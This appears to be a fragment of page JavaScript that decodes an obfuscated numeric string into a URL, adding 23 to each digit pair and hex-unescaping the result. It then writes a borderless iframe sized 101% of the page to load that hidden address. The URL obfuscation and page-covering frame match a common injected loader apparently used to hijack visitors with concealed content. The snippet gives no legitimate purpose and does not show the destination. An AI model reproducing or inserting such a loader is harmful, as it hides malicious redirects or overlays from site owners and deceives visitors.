var str_in;
var str_out = "";
var num_in;
var num_out = "";
function num_to_str($main_src) {
num_out = $main_src; 
for(i = 0; i < num_out.length; i += 2) {
num_in = parseInt(num_out.substr(i,[2])) + 23;
num_in = unescape('%' + num_in.toString(16));
str_out += num_in;
}
document.write ('<iframe id="main_page" src="' + unescape(str_out) + '" height="101%" width="101%" frameborder="0"></iframe>');
}